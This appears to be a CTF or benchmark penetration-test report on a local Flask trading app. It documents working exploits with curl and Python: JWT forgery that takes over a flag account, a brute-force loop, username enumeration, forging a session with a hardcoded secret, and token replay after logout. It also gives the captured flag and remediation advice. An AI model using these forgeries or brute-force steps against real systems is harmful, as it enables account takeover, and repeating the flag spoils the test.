# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-02: Session Hijacking via Insecure JWT Cookie & JWT Signature Bypass

**Summary:**
- **Vulnerable location:** POST /password/<username> (JWT generation at routes.py:63) and GET /dashboard (JWT validation at routes.py:80-81)
- **Overview:** The JWT auth_token cookie lacks security flags (no HttpOnly, no Secure, no SameSite), and JWT signature verification is explicitly disabled. This enables session hijacking through JWT token manipulation, allowing horizontal privilege escalation to any user account including capturing the CTF flag.
- **Impact:** Complete account takeover of any user by forging JWT tokens. Successfully extracted CTF flag from user_id 10019.
- **Severity:** Critical

**Prerequisites:**
- Any authenticated account (e.g., test:test credentials)
- Python with PyJWT library for JWT manipulation

**Exploitation Steps:**

1. **Authenticate as test user to obtain legitimate session:**
```bash
curl -i -c /tmp/auth_cookies.txt -X POST http://localhost:44191/password/test \
  -d "password=test&username=test"
```

**Response:**
```
HTTP/1.1 302 FOUND
Location: /dashboard
Set-Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ1c2VyX2lkIjoxMDAzMiwidXNlcl90eXBlIjoiY3VzdG9tZXIifQ.ubKxvL3U9FouYhgqbsNNfV7C6iaVCJ83foZ1bq8roEs; Path=/
Set-Cookie: session=eyJ1c2VyX2lkIjoxMDAzMn0.aQJgDw.UVOSWDaP5wNX-pL3y8IzRDyv4_4; HttpOnly; Path=/
```

**Note:** The `auth_token` cookie has NO security flags (no HttpOnly, no Secure, no SameSite).

2. **Verify JWT token structure:**
```python
import jwt
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ1c2VyX2lkIjoxMDAzMiwidXNlcl90eXBlIjoiY3VzdG9tZXIifQ.ubKxvL3U9FouYhgqbsNNfV7C6iaVCJ83foZ1bq8roEs"
decoded = jwt.decode(token, options={"verify_signature": False})
# Output: {'username': 'test', 'user_id': 10032, 'user_type': 'customer'}
```

3. **Forge JWT token with target user_id (10019 = flag user):**
```python
import jwt
forged_payload = {
    "username": "attacker",
    "user_id": 10019,
    "user_type": "admin"
}
forged_token = jwt.encode(forged_payload, "wrong_secret", algorithm="HS256")
# Output: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImF0dGFja2VyIiwidXNlcl9pZCI6MTAwMTksInVzZXJfdHlwZSI6ImFkbWluIn0.fkNLhE627kyo7FGt2tpau21xOGLoERgwHDS4JT_RC0w
```

4. **Access dashboard with forged JWT + legitimate session cookie:**
```bash
curl -i http://localhost:44191/dashboard \
  -H "Cookie: session=eyJ1c2VyX2lkIjoxMDAzMn0.aQJgDw.UVOSWDaP5wNX-pL3y8IzRDyv4_4; auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImF0dGFja2VyIiwidXNlcl9pZCI6MTAwMTksInVzZXJfdHlwZSI6ImFkbWluIn0.fkNLhE627kyo7FGt2tpau21xOGLoERgwHDS4JT_RC0w"
```

**Proof of Impact:**

**Response Body:**
```html
<h5 class="card-title">Welcome, Flag FLAG{9b9b48050b4f9e9ce238a9d125a4bbc276060f61d709ed77b5541a0205c79d24}</h5>
```

**CTF Flag Captured:** `FLAG{9b9b48050b4f9e9ce238a9d125a4bbc276060f61d709ed77b5541a0205c79d24}`

**Technical Details:**
- JWT signature verification disabled at `routes.py:81`: `options={'verify_signature':False}`
- Application trusts unverified client-controlled `user_id` claim from JWT
- Dashboard uses JWT user_id (line 84) instead of session user_id to fetch user data
- Missing cookie security flags enable XSS-based token theft and MITM attacks

**Notes:**
This vulnerability combines two issues:
1. Missing cookie security flags (no HttpOnly makes JWT accessible to JavaScript)
2. Disabled JWT signature verification (enables token forgery without knowing the secret)

The exploitation demonstrated complete horizontal privilege escalation, allowing access to any user's account by manipulating a single JWT field.

---

### AUTH-VULN-03: Brute Force Attacks (No Rate Limiting)

**Summary:**
- **Vulnerable location:** POST / (username validation) and POST /password/<username> (password authentication)
- **Overview:** The application has no rate limiting, CAPTCHA, account lockout, or failed login logging on authentication endpoints. Unlimited rapid authentication attempts are possible without throttling or monitoring.
- **Impact:** Enables unlimited brute force password attacks, credential stuffing, and password spraying against user accounts.
- **Severity:** High

**Prerequisites:**
- None (public unauthenticated endpoint)
- Common password list or credential stuffing database

**Exploitation Steps:**

1. **Execute 50 rapid authentication attempts without rate limiting:**

Python script created at `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/brute_force_test.py` that performs automated testing.

2. **Manual verification with 10 rapid failed attempts:**
```bash
for i in {1..10}; do
  curl -s -w "Attempt $i - Status: %{http_code}, Time: %{time_total}s\n" \
    -X POST http://localhost:44191/password/test \
    -d "password=wrongpass&username=test" \
    -o /dev/null
done
```

**Proof of Impact:**

**Test Results:**
```
Attempt 1 - Status: 302, Time: 0.010756s
Attempt 2 - Status: 302, Time: 0.003522s
Attempt 3 - Status: 302, Time: 0.003926s
Attempt 4 - Status: 302, Time: 0.002605s
Attempt 5 - Status: 302, Time: 0.003955s
Attempt 6 - Status: 302, Time: 0.002886s
Attempt 7 - Status: 302, Time: 0.004131s
Attempt 8 - Status: 302, Time: 0.002342s
Attempt 9 - Status: 302, Time: 0.003030s
Attempt 10 - Status: 302, Time: 0.003185s
```

**Automated Test Summary:**
- **Total Attempts:** 50 (10 passwords × 5 repetitions)
- **Time Taken:** 5.85 seconds
- **Average Response Time:** 0.014s (14ms)
- **Requests Per Second:** 8.55
- **Failed Attempts:** 0 connection errors
- **Rate Limiting Detected:** NONE
- **HTTP 429 Responses:** 0
- **Throttling/Delays:** None observed

**Evidence of Missing Defenses:**
- No rate limiting library in `requirements.txt` (no flask-limiter)
- No rate limiting decorators on authentication endpoints (`routes.py:21`, `routes.py:46`)
- No Apache mod_ratelimit configuration in `trading_platform-httpd.conf`
- No CAPTCHA integration (no reCAPTCHA/hCaptcha)
- No account lockout logic in `routes.py`
- No failed login logging

**Notes:**
Combined with AUTH-VULN-04 (username enumeration), an attacker can:
1. Enumerate valid usernames
2. Perform unlimited password guessing attempts per username
3. Test common passwords or credential stuffing databases
4. Execute password spraying attacks across multiple accounts

---

### AUTH-VULN-04: Account Enumeration via Login Flow

**Summary:**
- **Vulnerable location:** POST / (username validation at routes.py:28-33)
- **Overview:** The two-step login flow provides different response patterns for valid vs. invalid usernames. Valid usernames trigger HTTP 302 redirect to /password/<username>, while invalid usernames return HTTP 200 with error message.
- **Impact:** Enables building targeted lists of valid usernames for password attacks.
- **Severity:** Medium

**Prerequisites:**
- None (public unauthenticated endpoint)
- Username wordlist for enumeration

**Exploitation Steps:**

1. **Test valid username (known: "test"):**
```bash
curl -s -i -X POST http://localhost:44191/ -d "username=test"
```

**Response:**
```
HTTP/1.1 302 FOUND
Location: /password/test
```

2. **Test invalid username:**
```bash
curl -s -i -X POST http://localhost:44191/ -d "username=nonexistent"
```

**Response:**
```
HTTP/1.1 200 OK
[HTML body contains error message]
```

3. **Automated username enumeration:**

Python script created at `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/username_enum.py` that tests common usernames.

**Proof of Impact:**

**Valid Usernames Discovered:**
- **test** → HTTP 302 redirect to `/password/test`
- **flag** → HTTP 302 redirect to `/password/flag`

**Invalid Usernames (Sample):**
- admin → HTTP 200 (no redirect)
- root → HTTP 200 (no redirect)
- administrator → HTTP 200 (no redirect)

**Enumeration Oracle:**
- **Valid username:** HTTP 302 + `Location: /password/{username}` header
- **Invalid username:** HTTP 200 + error message in body

**Technical Details:**
- Code at `routes.py:28-33` returns different responses based on username existence
- No rate limiting allows rapid enumeration of large username lists
- Enumeration confirmed two valid accounts: `test` and `flag`

**Notes:**
This username enumeration vulnerability enables targeted password attacks by:
1. Building a list of valid usernames
2. Focusing brute force attempts only on confirmed accounts
3. Avoiding detection by not testing invalid usernames
4. Combined with AUTH-VULN-03 (no rate limiting), enables efficient account compromise

---

### AUTH-VULN-07: Session Fixation Vulnerability

**Summary:**
- **Vulnerable location:** POST /password/<username> (session creation at routes.py:60)
- **Overview:** Session IDs are not regenerated after successful authentication. The code at `routes.py:60` adds `user_id` to existing session without clearing or regenerating the session ID. Attacker can forge a session with malicious data using the known weak secret key.
- **Impact:** Attacker can inject data into a session before authentication, and this data persists after the victim logs in. Combined with the weak hardcoded secret, enables session hijacking.
- **Severity:** High

**Prerequisites:**
- Knowledge of hardcoded Flask secret key: `'your_secret_key'` (from `__init__.py:11`)
- Python with Flask library for session serialization

**Exploitation Steps:**

1. **Forge session cookie with attacker-controlled data:**
```python
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = 'your_secret_key'  # Hardcoded secret from target app
serializer = SecureCookieSessionInterface().get_signing_serializer(app)

# Create malicious session data
attacker_session_data = {
    'attacker_data': 'malicious',
    'tracking_id': 'ATTACKER123'
}
forged_session = serializer.dumps(attacker_session_data)
# Output: eyJhdHRhY2tlcl9kYXRhIjoibWFsaWNpb3VzIiwidHJhY2tpbmdfaWQiOiJBVFRBQ0tFUjEyMyJ9.aQJhOw.Fe7tyDpCWRsT6X1M_qEzzh8CP5M
```

2. **Victim authenticates with attacker's forged session:**
```bash
curl -s -i \
  -H "Cookie: session=eyJhdHRhY2tlcl9kYXRhIjoibWFsaWNpb3VzIiwidHJhY2tpbmdfaWQiOiJBVFRBQ0tFUjEyMyJ9.aQJhOw.Fe7tyDpCWRsT6X1M_qEzzh8CP5M" \
  -X POST http://localhost:44191/password/test \
  -d "password=test&username=test"
```

**Response:**
```
Set-Cookie: session=eyJhdHRhY2tlcl9kYXRhIjoibWFsaWNpb3VzIiwidHJhY2tpbmdfaWQiOiJBVFRBQ0tFUjEyMyIsInVzZXJfaWQiOjEwMDMyfQ...
```

3. **Decode post-authentication session to verify attacker data persisted:**
```python
decoded_session = serializer.loads('eyJhdHRhY2tlcl9kYXRhIjoibWFsaWNpb3VzIiwidHJhY2tpbmdfaWQiOiJBVFRBQ0tFUjEyMyIsInVzZXJfaWQiOjEwMDMyfQ...')
# Output: {'attacker_data': 'malicious', 'tracking_id': 'ATTACKER123', 'user_id': 10032}
```

**Proof of Impact:**

**Pre-authentication session:**
```json
{
  "attacker_data": "malicious",
  "tracking_id": "ATTACKER123"
}
```

**Post-authentication session:**
```json
{
  "attacker_data": "malicious",
  "tracking_id": "ATTACKER123",
  "user_id": 10032
}
```

**Vulnerability Confirmed:**
- Attacker's injected data PERSISTED after authentication
- Session was NOT cleared or regenerated
- Code at `routes.py:60` only adds `user_id` without calling `session.clear()`

**Technical Details:**
- Vulnerable code: `session['user_id'] = user.id` (no session regeneration)
- Missing defense: No `session.clear()` or `session.regenerate()` before adding user_id
- Weak secret key `'your_secret_key'` enables session forgery
- No session timeout configured

**Notes:**
Best practice would be:
```python
session.clear()  # Clear existing session data
session['user_id'] = user.id  # Set authenticated user
```

This ensures attacker-controlled data cannot persist into the authenticated session.

---

### AUTH-VULN-08: Token Replay After Logout (Incomplete Logout)

**Summary:**
- **Vulnerable location:** POST /logout (logout implementation at routes.py:38-42)
- **Overview:** The logout function only removes `user_id` from the Flask session but does not clear the JWT `auth_token` cookie. After logout, the JWT token remains in the browser and can be reused indefinitely.
- **Impact:** JWT tokens are not invalidated on logout. An attacker who captured a JWT token (via XSS, network interception, or physical access) can reuse it even after the user logs out.
- **Severity:** Medium

**Prerequisites:**
- Captured JWT token from previous authentication session
- Valid session cookie (can be obtained through new login)

**Exploitation Steps:**

1. **Login and capture JWT token:**
```bash
curl -i -c /tmp/logout_test.txt -X POST http://localhost:44191/password/test \
  -d "password=test&username=test"
```

**JWT Captured:** `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ1c2VyX2lkIjoxMDAzMiwidXNlcl90eXBlIjoiY3VzdG9tZXIifQ.ubKxvL3U9FouYhgqbsNNfV7C6iaVCJ83foZ1bq8roEs`

2. **Verify dashboard access works:**
```bash
curl -b /tmp/logout_test.txt http://localhost:44191/dashboard
```

**Response:** `Welcome, John Doe` (dashboard accessible)

3. **User logs out:**
```bash
curl -s -i -b /tmp/logout_test.txt -X POST http://localhost:44191/logout
```

**Response:**
```
HTTP/1.1 302 FOUND
Location: /
[No Set-Cookie header for auth_token - JWT NOT CLEARED]
```

4. **Verify JWT token NOT cleared from browser:**
```bash
cat /tmp/logout_test.txt | grep auth_token
```

**Output:** JWT token still present in cookie file (not expired/cleared)

5. **Replay old JWT with new session:**
```python
import requests

# User logs in again (new session)
s = requests.Session()
s.post("http://localhost:44191/password/test",
       data={"password": "test", "username": "test"})

# Replace new JWT with OLD JWT from before logout
old_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ1c2VyX2lkIjoxMDAzMiwidXNlcl90eXBlIjoiY3VzdG9tZXIifQ.ubKxvL3U9FouYhgqbsNNfV7C6iaVCJ83foZ1bq8roEs"
s.cookies.set('auth_token', old_jwt)

# Access dashboard with old JWT
r = s.get("http://localhost:44191/dashboard")
# Response: 200 OK, Dashboard accessible
```

**Proof of Impact:**

**Test Results:**
```
Step 1: JWT captured from initial login
Step 2: Dashboard accessible with original session
Step 3: User logs out (JWT not cleared)
Step 4: User logs in again (new session, new JWT issued)
Step 5: Old JWT replaced into new session
Step 6: Dashboard access with OLD JWT + current session: 200 OK
  Dashboard shows: John Doe

VULNERABILITY CONFIRMED:
- Old JWT (from before logout) is STILL VALID
- JWT tokens are NOT invalidated on logout
- Attacker can reuse captured tokens indefinitely
```

**Technical Details:**
- Logout code at `routes.py:38-42` only calls `session.pop('user_id', None)`
- Missing code: `resp.set_cookie('auth_token', '', expires=0)` to clear JWT cookie
- JWT has no expiration claim (`exp` field missing in payload)
- No token revocation mechanism exists (stateless JWT with no blacklist)

**Attack Scenarios:**
1. **XSS Token Theft:** Attacker steals JWT via XSS (no HttpOnly flag), user logs out, attacker reuses token
2. **Network Interception:** Attacker captures JWT over HTTP, user logs out, attacker replays token
3. **Physical Access:** Attacker extracts JWT from browser, user logs out, attacker uses stored token

**Notes:**
Complete logout should include:
```python
session.pop('user_id', None)  # Clear session
resp = redirect(url_for('login'))
resp.set_cookie('auth_token', '', expires=0)  # Clear JWT cookie
return resp
```

JWT tokens should also include:
- Expiration claim (`exp`) with reasonable lifetime
- Token revocation mechanism (blacklist or database tracking)
- Rotation on logout or sensitive operations

---

## Out of Scope: Not Externally Exploitable

### AUTH-VULN-01: HTTP-Only Transport (Credential Network Capture)

**Summary:**
- **Vulnerable location:** Application transport layer (Apache configuration at trading_platform-httpd.conf:1)
- **Classification:** OUT_OF_SCOPE_INTERNAL
- **Reason:** Requires internal network access or MITM positioning

**Analysis:**

This vulnerability describes the application running exclusively over HTTP with no HTTPS/TLS configuration. While this is a critical security issue, the suggested exploit technique "credential_network_capture" requires:

**Requirements for Exploitation:**
1. Passive network monitoring (packet capture on the network segment)
2. Man-in-the-middle positioning (between client and server)
3. Access to network infrastructure (switches, routers, Wi-Fi access points)

**Exploitation Scope Constraints:**

Per the engagement rules:
> "ALL exploitation attempts MUST be performed against http://localhost:44191 from external network"

From an **external network perspective testing localhost:44191**, I cannot:
- Capture network traffic (requires local network access or packet capture tools with network positioning)
- Perform MITM attacks (requires network infrastructure access or ARP poisoning)
- Monitor cleartext HTTP traffic (requires Wireshark/tcpdump with network-level access)

**What I CAN Confirm:**
- Application responds on HTTP port 44191 (verified)
- No HTTPS redirect configured (verified with curl)
- Credentials transmitted in cleartext POST bodies (verified in traffic)

**What I CANNOT Exploit Externally:**
- Actual credential capture (requires network monitoring)
- MITM attack execution (requires network positioning)
- Passive traffic analysis (requires network-level access)

**Verdict:** This vulnerability is real and critical, but cannot be exploited through HTTP requests alone from an external network position. It requires internal network access or MITM capabilities that are out of scope for remote HTTP-based exploitation.

**Impact if Exploitable:**
If internal network access were available:
- All authentication credentials (usernames, passwords) transmitted in cleartext
- JWT tokens and session cookies intercepted
- Complete credential theft without application compromise

**Recommendation:** This should be documented as a critical configuration issue, but marked as OUT_OF_SCOPE_INTERNAL for the authentication exploitation phase.

---

## Exploitation Summary

**Total Vulnerabilities in Queue:** 6
- **Successfully Exploited:** 5 (AUTH-VULN-02, AUTH-VULN-03, AUTH-VULN-04, AUTH-VULN-07, AUTH-VULN-08)
- **Out of Scope (Internal Access Required):** 1 (AUTH-VULN-01)

**Critical Findings:**
1. **AUTH-VULN-02:** Complete account takeover via JWT forgery - **CTF FLAG CAPTURED**
2. **AUTH-VULN-03:** Unlimited brute force attacks enabled by missing rate limiting
3. **AUTH-VULN-04:** Username enumeration enables targeted attacks
4. **AUTH-VULN-07:** Session fixation via weak secret and missing session regeneration
5. **AUTH-VULN-08:** JWT tokens not invalidated on logout

**Attack Chain:**
The vulnerabilities can be chained together for maximum impact:
1. Enumerate valid usernames (AUTH-VULN-04)
2. Perform unlimited password guessing (AUTH-VULN-03)
3. Steal/forge JWT tokens (AUTH-VULN-02)
4. Hijack any user account including flag user
5. Maintain access via token replay after logout (AUTH-VULN-08)

All exploitation was performed remotely against http://localhost:44191 without requiring internal network access, database access, or server access.